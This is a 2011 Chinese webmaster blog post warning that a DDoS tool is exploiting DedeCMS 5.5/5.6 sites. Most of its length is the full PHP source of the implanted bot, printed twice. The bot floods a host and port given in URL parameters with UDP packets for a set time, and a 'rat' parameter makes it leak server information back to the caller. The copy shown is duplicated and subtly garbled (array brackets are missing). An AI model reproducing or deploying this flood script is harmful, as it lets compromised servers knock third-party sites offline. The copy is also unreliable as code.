建站经验 experience
当前位置:首页 > 网站建设专题 > 建站经验
织梦漏洞造成大批网站瘫痪
发布日期:2011-08-15 阅读次数:671 字体大小:

昨日,大批使用织梦内核的网站瘫痪,网站被运营商停止。而这些被停止的网站均是使用了织梦5.5和5.6内核版本的网站程序。北人自己的一个织梦网站也发现了同样的问题。据一些知名网络安全服务商监控数据显示。近日,新型DDOS工具利用织梦5.5和5.6漏洞,造成了国内大批织梦程序瘫痪。目前,织梦官方没有据此回应。以下是网络安全服务商检测出的攻击织梦漏洞的木马病毒,提醒站长注意。

set_time_limit(999999);
$host = $_GET'host';
$port = $_GET'port';
$exec_time = $_GET'time';
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET'rat')<>0){
                echo $_GET'rat'.$_SERVER"HTTP_HOST"."|".GetHostByName($_SERVER'SERVER_NAME')."|".php_uname()."|".$_SERVER'SERVER_SOFTWARE'.$_GET'rat';
                exit;
            }
        echo "Forest Wolf:DDOS:lw";
        exit;
    }
for($i=0;$i<$Sendlen;$i++){
        $out .= "A";
    }
$max_time = time()+$exec_time;
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}
echo "Send Host:$host:$port
";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb
";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>
set_time_limit(999999);
$host = $_GET'host';
$port = $_GET'port';
$exec_time = $_GET'time';
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET'rat')<>0){
                echo $_GET'rat'.$_SERVER"HTTP_HOST"."|".GetHostByName($_SERVER'SERVER_NAME')."|".php_uname()."|".$_SERVER'SERVER_SOFTWARE'.$_GET'rat';
                exit;
            }
        echo "Forest Wolf:DDOS:lw";
        exit;
    }
for($i=0;$i<$Sendlen;$i++){
        $out .= "A";
    }
$max_time = time()+$exec_time;
while(1){    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}
echo "Send Host:$host:$port
";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb
";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

北人在此提醒各位站长站朋友,请及时更新网站补丁。同时,要及时关注织梦官方的动态。

转载请注明出自,北人博客:www.beiren8.com

感谢 北人博客 的投稿